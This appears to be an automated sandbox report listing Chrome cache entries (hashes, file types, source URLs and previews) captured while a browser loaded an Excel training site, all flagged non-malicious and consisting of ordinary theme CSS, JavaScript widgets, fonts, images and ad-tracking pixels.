SSDEEP:	1536:16Afn7do/Nd8wXh/dpkzh7rgUIrBhZtFXukXhTriUY5+KwHCAD1DGvThrfUpxr+q:SNd8wbLf/Es
MD5:	09644037D4C6FF20CEC8441291B4287C
SHA1:	B3CC20970E0D605048EA304BFDAA0C4E305B87AF
SHA-256:	BA18806F3B3B77DBEAF768B2B4FD539B327616F10CB7EF54CC7092D87A011742
SHA-512:	738C29FC105170196D2AF53AA6AE09CB5D87C6905D92DBA9D14CD6EBAF1F7BE64C79333353D97DB75FFCAF31139C945132DFD29D7DD8729B6A31CAC15B14CBBD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/style.css
Preview:	@charset "UTF-8";...../!.Theme Name: Edumall.Theme URI: https://edumall.thememove.com.Author: ThemeMove.Author URI: https://thememove.com.Description: Edumall . Professional LMS Education Center WordPress Theme.Version: 2.4.1.License: GNU General Public License v2 or later.License URI: https://www.gnu.org/licenses/gpl-2.0.html.Text Domain: edumall.Tags: editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready./.archive-layout-switcher .switcher-item:after,.archive-layout-switcher .switcher-item:before,.archive-top-filter-content .count,.blog-nav-links .inner .hover-bg,.blog-nav-links .inner h6:before,.button,.course-caption-style-01 .course-wrapper,.dialog-widget .dialog-close-button i,.edumall-accordion .accordion-header,.edumall-accordion .accordion-icon,.edumall-accordion .accordion-section,.edumall-accordion .accordion-title,.edumall-blog-overlay-style-float .post-overlay-background,.edumall-blog .post-wr

Chrome Cache Entry: 1130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 77160, version 4.459
Category:	downloaded
Size (bytes):	77160
Entropy (8bit):	7.996509451516447
Encrypted:	true
SSDEEP:	1536:/MkbAPfd1vyBKwHz4kco36ZvIaBfRPlajyXUA2jVTc:L0nXnHdfRVEAS2
MD5:	AF7AE505A9EED503F8B8E6982036873E
SHA1:	D6F48CBA7D076FB6F2FD6BA993A75B9DC1ECBF0C
SHA-256:	2ADEFCBC041E7D18FCF2D417879DC5A09997AA64D675B7A3C4B6CE33DA13F3FE
SHA-512:	838FEFDBC14901F41EDF995A78FDAC55764CD4912CCB734B8BEA4909194582904D8F2AFDF2B6C428667912CE4D65681A1044D045D1BC6DE2B14113F0315FC892
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
Preview:	wOF2......-h..........-.........................?FFTM.. .`..r.....(..X.6.$..p..... .....u[R.rGa......'.=.:..&..=r........].t..E.n.......1F...@....\|....f.m.`.$..@d[BQ.$([U<+(..@P.5..`....>.P..;.(..1..l..h...)..Yy..Ji......\|%..^..G..3..n........D..p\Yr .L.P.....t.)......6R.^"S.L~.YR.CXR...4...F.y\[..7n..\|.s.q..M..%K......,.....L.t.'....M.,..c..+b....O.s.^.$...z...m...h&gb...v.....'..6.:....s.m.b.1.m0"....*V.....c.$,0ATPT.1.....<..;...`..'.H.?.s.:..ND.....I..$..T..[..b4........,....bl6...IL.i}.&.4.m,'....#....Rw..bu..,K......v....m_-...\H....HH.......?...m..9P...)9.J..$.....8......~.;.r..n.=$.....Nddn.!'....;...8..'.N...!.-..J.........X.=.,......"`:....... {......K!'...-FH....#$~.Z_.......N5VU8F....%.P..........Cp..$.Q.......r.....k.k...3...:R.%....2{.....h%.)8..........ILK.6v.#......,;.6..N.2.hv...........OO..t#....xT..Bf....q^.#....?{.5b.I..%-WZ..b.A...^.1..n5.....NQ.Y'.........S.....!t" .`b3..%....35....fv;....l..9.:jgf?gr..p.x. ..\|.. $. e.

Chrome Cache Entry: 1132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=545637763&val=8CYd5xB94ljT&ev=6017000d-738c-463d-b239-961872a6feb0&pid=562539
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.247548241669875
Encrypted:	false
SSDEEP:	3:YAQ2qSABLpF2yh26RrU/qAwqSABHY:YAQV9pF2x6YxY
MD5:	6A9CA355F8CBE556999E1D90DE9D39E3
SHA1:	917477722E600955AE9CCAF8FCD1DB446DB3F042
SHA-256:	566C28DE671DDA53FA3C8742171D876B8A48A28D68DDFEFFA615A47527A5DC8A
SHA-512:	B643EDCCCCF69C7322A1677157428892F79A8A9DB1CE4E86316BB43111E9CBEC1CA5EA85E79A4230A17775309FE8A605D271A21F223BAB409F78E33CE0C8C6A1
Malicious:	false
Reputation:	low
Preview:	{"error": "Method not allowed.", "statusCode": 405, "statusMessage": "method not allowed"}

Chrome Cache Entry: 1134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5436
Entropy (8bit):	4.941321746807341
Encrypted:	false
SSDEEP:	96:x/Q09Pme0GL2F5wMbhFfmXXoe89vuN517TGnibQF1WCXec/3mt:dQGPmZBF5wMbPfmnU9vud3bm1WCXf/3Y
MD5:	2668214AB897E85924D2AB8BC234D78C
SHA1:	0A9D3D550ECC37CB9E2E6A7665F48833DFDA2DBF
SHA-256:	2563F3526239EDA022398CBE0ABBBC40D9A83914DF49F9046C98EB05402E724B
SHA-512:	095BBC482CC57743E3C9E1D6A27328070AFE1C768D2AC31E882F3B3FA3E7A1966878E4B24584A53C6216E1715B661ABA7189015106ACB7A921B7FF2705D6DA6E
Malicious:	false
Reputation:	low
URL:	https://api.grow.me/sites/a93bd662-05a1-4ce7-81ce-4c67bccef190/page?url=https%3A%2F%2Fearnandexcel.com%2Fcourses%2Fpower-query%2F
Preview:	{"page":{"bookmarkCount":1,"categories":[],"dbId":"f17794a5-e146-492e-9959-00b209050c81","description":"With Power Query tutorials, you can learn to simplify the process of importing data from different source files and sorting them into an Excel sheet.","hasCanonicalUrl":true,"id":"UGFnZTpmMTc3OTRhNS1lMTQ2LTQ5MmUtOTk1OS0wMGIyMDkwNTBjODE=","imgUrl":"https://earnandexcel.com/wp-content/uploads/Power-Query-1.jpg","isArchive":false,"isDeleted":null,"language":"en","lastRefreshNoChangeAt":null,"lastRefreshedAt":"2023-11-04T04:08:58.160Z","modifiedTime":"2022-02-07T21:26:05.000Z","publishedAt":null,"salesKeywords":[],"shortGrowUrl":"https://urls.grow.me/KfvOFIpTi4","siteId":"a93bd662-05a1-4ce7-81ce-4c67bccef190","textContent":"Course Curriculum\n\nGETTING STARTED WITH POWER QUERY\n\nIntroduction to Power Query\n\nGetting Familiar with the Power Query Editor\n\nFirst Data Clean Up for a Pivot Table\n\nTweaking our Query until the data is correct\n\nRounding data\n\nAltering Data Types\n\nFil

Chrome Cache Entry: 1135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	109
Entropy (8bit):	4.781408123746382
Encrypted:	false
SSDEEP:	3:YxhALAEQ9G2LI0N9yUEFpHACNN7kYCiNQDxP9NxEb4i:YnLEk869yuEkYCiNQtPzybr
MD5:	CE1071021EAE6B48341FC5F259C39025
SHA1:	FB2C629978FF0FE5B584682B32BC8399658E5AF9
SHA-256:	B91EDA5E2A72F9A9708ED24BD35CAD4BC6863DA415F24CC95080028413815575
SHA-512:	4065467134010B01F3FFBD5C28D4E8EC3BAADAEC3F8B2CEF8082D215CB9EE62429D5D93078DB42D09B9B92BB70BE92779AE6AC1C0210BA72CFA92038023E33EF
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/rid?ttd_pid=sne7dew&fmt=json
Preview:	{"TDID":"84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19","TDID_LOOKUP":"FALSE","TDID_CREATED_AT":"2024-04-11T21:26:58"}

Chrome Cache Entry: 1136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9684
Entropy (8bit):	7.939293879530483
Encrypted:	false
SSDEEP:	192:NTMdYbO/g0SjphSbUceN6ka7JhfeJOehcZTRXfXpBzlNLEDqPo:NTMyO/g0sGUN6ka7JhfUcBRTPLEDB
MD5:	AEAEF7805FDAD35E9F08CDB290FB32BB
SHA1:	DFBEF85CA0E5EDCB626BF31529C5C5D8DB6D8847
SHA-256:	21FD52F16BEEF5ADFD7F70A80AFA9EF1C0759682A21F5CF3FFA9A17D6AD9B73D
SHA-512:	70D1542D5E7D17E53DEA8F44B578F9203E7BCD3FEE474F60B37A0AF7B7BBA61E4469AA912D9461DAE33DDB4F19EDE307374C710FAC1927ED8206261A47157CBF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._.....K.C!..%.IDATx...kVK...KV.DQ.+.....(..T......bGE..%...{..30..\|'...B.d..Sw...g..M;..544.....j....VSS#uuu..^.V__..1.18..v....f.w+++.ykYk'.......I......VQQA_..fN.<.w\`.J.0h....M.C.J......A......f..A.(--...\|.....4.....2..}T....z......b.c!..ef....(.....'O..K.o.>.a.,Y.D../s..Y.f.9s$JV.Z%.m.c...W......./........N.:..7.Mk.A..(80....;9s.].V.L.".......H....\|.a2~.x.1c..7.X...S..1cd...n.>}.W.^2b...l..r..yy..$$$.e...J.yhZ.,..<....={T1....$...C...S.......}...8IIIQ...4<KMM...X.....7..e...3...8..O.7o...]..'... .M..c.....<....z...C.d.....}...r.........>.....T.....@.s..t..5o.../%..Q.`2...#'O.T...............3.........<.\tt.\|..Y.={.L.o...?~.@.C(....x.......b.........5B}x..}.xi....C.r.qLJJR..8q.t...^g..?...E..8=}P..o...P%B6.Y&L..c..C..8 g..w.>\|(O.>U.>~.(._.&.S....#.i.Gh8d..../.`...28}.....<4.2[<...yF.1{.l.....=Zg....:.(\..h!`...$...&MB.H.U.v..%/_.D..<...7.......}...5.....#.4.y......5.....\...',...i.M..

Chrome Cache Entry: 1137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 1138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2450
Entropy (8bit):	4.8971038356573695
Encrypted:	false
SSDEEP:	48:xel+Alq4ZswSNgUk4swxCgUBnpgrvUyMgF0wBUIMsyK66ewKI+yL7ayKungu1I9H:qpq8QgU5QgU7yMk6v7LdKGyKunx1+
MD5:	8B6D394D91311D6CAE2CE9F9C74AFB91
SHA1:	4FEBFADE62C9747DB97FE22E7CAA5EFF4F1058B1
SHA-256:	3692536D3EB2CB096618EE6112BD38D5A5CC81016DDCBB84D5C7C21FBF261F0C
SHA-512:	3E790FAD50B53CB54680D27F2B5EA3944470A8A52F24D8DFE257E8FCD8675EFEA7046F34E15AFDD38CA60E84DC6B8AAB6E0D16F74DDA483686F5CA2D5B989118
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/elementor/assets/js/widgets/widget-course-tabs.js
Preview:	(..function( $ ) {...'use strict';....var EdumallCourseTabs = function( $scope, $ ) {....var $element = $scope.find( '.edumall-tabpanel' );.....elementorFrontend.waypoint( $element, function() {.....var navTabs = $element.children( '.edumall-tab-content' );.....var activeTab = navTabs.children( '.active' );......if ( ! activeTab.hasClass( 'ajax-loaded' ) ) {......loadCourseData( activeTab );.......activeTab.addClass( 'ajax-loaded' );.....}....} );.....$( document ).on( 'EdumallTabChange', function( e, tabPanel, currentTab ) {.....if ( ! currentTab.hasClass( 'ajax-loaded' ) ) {......loadCourseData( currentTab );.......currentTab.addClass( 'ajax-loaded' );.....} else {......// Fixed layout broken after window resize & tab change.......var $component = currentTab.find( '.tm-tab-course-element' );......var layout = currentTab.data( 'layout' );.......if ( 'grid' === layout ) {.......$component.EdumallGridLayout( 'calculateMasonrySize' );......} else {.......var swiper = $component.children(

Chrome Cache Entry: 1139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 1140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8412
Entropy (8bit):	7.954481902172857
Encrypted:	false
SSDEEP:	192:tDkTuCALsN1U78vKXUUynilN3IjVWos5LKcAPwn:5vCBzUoBrMOVfZPI
MD5:	64DA6BCAF93BEF01C12A1BA3FB82B883
SHA1:	947EEEEC9BB61C7F59CB25F02D360776BDFCEE7A
SHA-256:	D27EF4A161BE6ACED1DC4818345E5138500A03121CDC32F665978D04BCBD4388
SHA-512:	92AF670F90DB007A40F695A3A9E8CDB460BCACFD95CECC97B0BA2A9F65F1A2456AA58AB66A323BD82EE24F4CC3C8EC51401F8AB8EA78459E1EE282A4723D6F32
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/TRANSPORT-FOR-LONDON.png
Preview:	.PNG........IHDR......._.....K.C!.. .IDATx..GH^K..%..!.#......=.A..........(.ND].SP..X@l.....7.".`....?p.:.....{..a..;}..o..v.R....H.R)4.B.R....J.Q.......T..J..T6%.F.RhT.F..))4.B.R)4.MI.Q....J.Q.lJ.)4...;..........mllX..3~.....---...2?.T...,t+(.....[.1.[........!.#..pI@9.'...j.Acq..Lwl. ewl....J./...J.2..qv.5.l....F.......@SSS400@..........FGG..!).4..H....k...OMMM...C......@NNN...Cz....g........bcc)--.:;;ihh.P@.......#77......{t...:..<.u..^.H..=.....O..'t..}.y.&..9s......2X!.=S.>4{.$p.D....J1,.?....px...}...`...._..7o...{G..g..;.....PEE..o..Y....%H.~G&.r.......h.W.C.}..8.........g.C.-.2..+e...g~..I<.c...n..Z@....[...[.../y....K.....fbb.d.d..........}.!...3.x....``X......k.@P..^.\|I.W@.\|.2...w###$...D?d..(..wa..//.LP...1..+/..[!.z..V...R.2.0..:E...(..=.-..F....sdn,.....96T+\.....E..!..6.1w...Frvv.+W....,l5...o../_......7.e....u./ ax..C_.~EY.{8....9....@.@$/a..@d<2&.).x.H..L..`....X..o...B{..+n.....x<33c......S[[....".. ...L.#.

Chrome Cache Entry: 1141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&vxii_pid=12&vxii_pid1=10067&vxii_rcid=c48d18dc-adc5-4674-848e-5fd6be9bfe78
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537146931&val=4c_09ddef3d-ddd5-4851-96eb-f196f2eb18c8
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21018)
Category:	downloaded
Size (bytes):	21470
Entropy (8bit):	4.66038872921191
Encrypted:	false
SSDEEP:	192:bix08W21KBbiZHtRT6LV+J++2++x444H4JUL4p/8iqi+MNoiniqT6b6mrUuyIU0x:rx8sQgtKnrWXW4fEgE3AS
MD5:	029FD8392DEC1E799FA1EC61657A5957
SHA1:	39AA417C1A442EDE0C97D056985313C330F5C50B
SHA-256:	F7F91292FCD7BAEC168AAD973DD4540B391EA7EEB704A63D92FAC9A89E4F2B3B
SHA-512:	5DB8C8FCBEF6A758EC6A3FB3BC34B012BDCB97E5899AFBFEF1B59A03737923C2A4B2D66DF1C088E5518EA402A6BE1EAA1F2D7BCC8000F45F3C1871EEE902B9E4
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/elementor/css/post-27963.css
Preview:	.elementor-27963 .elementor-element.elementor-element-4e11da75 > .elementor-container > .elementor-row{align-items:stretch;}.elementor-27963 .elementor-element.elementor-element-4e11da75:not(.elementor-motion-effects-element-type-background), .elementor-27963 .elementor-element.elementor-element-4e11da75 > .elementor-motion-effects-container > .elementor-motion-effects-layer{background-color:#F5F7FD;}.elementor-27963 .elementor-element.elementor-element-4e11da75{transition:background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s;margin-top:0px;margin-bottom:0px;padding:70px 0px 50px 0px;}.elementor-27963 .elementor-element.elementor-element-4e11da75 > .elementor-background-overlay{transition:background 0.3s, border-radius 0.3s, opacity 0.3s;}.elementor-27963 .elementor-element.elementor-element-5594dd4b .etlms-course-categories{flex-direction:row;}.elementor-27963 .elementor-element.elementor-element-5594dd4b.elementor-layout-row .etlms-course-categories{justify-content:flex-s

Chrome Cache Entry: 1144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1788
Entropy (8bit):	4.867869123707886
Encrypted:	false
SSDEEP:	48:xJc8a8CqsuZWvuZaK+r6ua4cP/cPkcP3cPRcPsmcP1YcP1xcPE+cHCCH:cJqxWOaK+mtvP0PbPsPaPsxP1PP16PQf
MD5:	DF08BCB0D02B221B8F55ED37974AA069
SHA1:	B9A9A5FA565880D1E79A48649F85FBC0435A3911
SHA-256:	8CA5B89931427D1B15D043429E307A82E879D86D47526AA1244D1DF046C29902
SHA-512:	DE6B7234C27F1D5CF7A6140FC4A5B9DB0B772A7DD16C464E35B8BD70734BF469E74A1E3250A38D59E8F7602345959B2FA0B5D1DF1BFA9523C12D365BF249A5B0
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/elementor/assets/js/widgets/group-widget-carousel.js
Preview:	(..function( $ ) {...'use strict';....var SwiperHandler = function( $scope, $ ) {....var $element = $scope.find( '.tm-slider-widget' );.....$element.EdumallSwiper();...};....var SwiperLinkedHandler = function( $scope, $ ) {....var $element = $scope.find( '.tm-slider-widget' );.....if ( $scope.hasClass( 'edumall-swiper-linked-yes' ) ) {.....var thumbsSlider = $element.filter( '.edumall-thumbs-swiper' ).EdumallSwiper();.....var mainSlider = $element.filter( '.edumall-main-swiper' ).EdumallSwiper( {......thumbs: {.......swiper: thumbsSlider......}.....} );....} else {.....$element.EdumallSwiper();....}...};....$( window ).on( 'elementor/frontend/init', function() {....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-image-carousel.default', SwiperHandler );....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-rich-carousel.default', SwiperHandler );....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-modern-carousel.default', SwiperHandler );....eleme

Chrome Cache Entry: 1145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 87, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7322
Entropy (8bit):	7.949662766930028
Encrypted:	false
SSDEEP:	192:ocMrb3AQ4aLzR/OObe3feWgdj9FQMchDCq5bbbIVAaBk+tq3aw:opn/42t2Fe8ZDCq5bbbeAaB6qw
MD5:	386831C9068DA1A44F21A765013A60A9
SHA1:	9DF5416E3DE529FB2789784FEB2FAB94C6DE63C6
SHA-256:	C4144E83F7DB5F9E9FD380616842E5E54E60F5AD2137B4AD38703F7A45F516C2
SHA-512:	5E521B330C17D049222A878092077B14F1F6914E92A3C20E9D390344FD2276FB69013A64D2CCE8BB3E527792743E50EA12AA55362342B763B3C4A617866ACCDB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......W......A.L...aIDATx...K.[.....$...{#!"".bGP....D\|.+v.#.... ....."...\|..`.+7&#..6g.s...g...uf...%.VVVhoo.....o}}.666.0.x....OZ....:S.....a.D...'..cp...m.:V...LrLp...onn...a.D..lW..:V...,@.@..(DX6.......U.bBih~........p...ipp.z{{ihh....H..HCs...h\|\|....)((.\\\......g...;...SDD......."..zN.Z....l.\-.[Z[[)<<.lll.......cz..9=y...Gw..../_.Ptt4UTT....]5.ICs.......#.s............"JLL$???...../^.+W......91.e>ih.N...1pW.+.....Y[[.ey......b........py{{.g....dggGmmm$...!-sHCsJh..R................(33..8.....<00@!!!.../.L........53.44..F....Z..O.>QII..C?G......X.q......,...f.ihNoi....."Z]]%...OOO.mKKK......1.@$.8.u........<i.G....k...ju++)//..9.R-//Sdd$,.....MZ...H.......JII...\^... .<...466&.N.W*l...[zz:...@....{...:A..E&......rww.7o.H..5.LpN/gee.+&.H.2L~.k&I.....W.......#z..-...1.Z...8991,W.^......?P{.0XG...L.^.]F,.H R;.U....W..H...9t..$..(..E...v...q.......-C....3d111H.3@.]...`..jzY..\|.^U.8............l...D..E.],.b......

Chrome Cache Entry: 1146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (8676)
Category:	downloaded
Size (bytes):	8714
Entropy (8bit):	5.078192120866333
Encrypted:	false
SSDEEP:	192:9ikykfv1izUzW2alc+6qu+Xu+GchQl2bW91FAXT2W4jU2rtNFJG:9ikykn1izUzW2ec+6qu+Xu+GKQQbW9wz
MD5:	D612716F523552C340705DCBB89FDD5A
SHA1:	098B9153DEE29D2FE76E751E48C2C7CF62B8406D
SHA-256:	05BC968429F41BE17AC5B589DA9708E4B9E7A6C9E94B3CA324D56D97B001A7E3
SHA-512:	472EF3F0F42156BC1FF527722B5D326F113E376B77EEEE4B7645F950BE576624AF056C349D8CC14CD1778543055F1FA4D6802CC4AF498623C397B51EEA219ACD
Malicious:	false
Reputation:	low
URL:	https://cdn.thinkific.com/assets/jquery-ujs/1.2.2/rails.min.js
Preview:	!function(t,e){"use strict";t.rails!==e&&t.error("jquery-ujs has already been loaded!");var a,n=t(document);t.rails=a={linkClickSelector:"a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable]",buttonClickSelector:"button[data-remote]:not([form]):not(form button), button[data-confirm]:not([form]):not(form button)",inputChangeSelector:"select[data-remote], input[data-remote], textarea[data-remote]",formSubmitSelector:"form",formInputClickSelector:"form input[type=submit], form input[type=image], form button[type=submit], form button:not([type]), input[type=submit][form], input[type=image][form], button[type=submit][form], button[form]:not([type])",disableSelector:"input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled",enableSelector:"input[data-disable-with]:disabled, button[data-disable-with]:disabl

Chrome Cache Entry: 1147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17265)
Category:	downloaded
Size (bytes):	38651
Entropy (8bit):	4.568139112213242
Encrypted:	false
SSDEEP:	192:CS8FCJW/CB7J7PypJtwcHWRkXNW7t7Dd5qMCp6I6JsyBrrYjBcD0NS6H0S6MSV1o:kqRDUxBu2HWq
MD5:	A4DFB23786E753BC737669331353153B
SHA1:	8285CD566905D30FD32DDF2BAAC06EB9F022472D
SHA-256:	1AC8AA7A403C546A3E48D10935A617961245480A3D057FA5483318922EDD654A
SHA-512:	91780ADA74AED5A55DF0385648B9FABAF4F8D6505F69F605A05D885C28073D808A2056488C935BAFAE5826AA7038922902FBE8EF95BD4CE3293799061897D260
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/elementor/css/global.css
Preview:	.elementor-widget-heading .elementor-heading-title{color:var( --e-global-color-primary );font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-heading.elementor-widget-heading .elementor-heading-title a:hover{color:var( --e-global-color-primary );}.elementor-widget-image .widget-image-caption{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-text-editor{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:var( --e-global-color-primary );}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap, .elementor-widget-text-editor.eleme

Chrome Cache Entry: 1148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
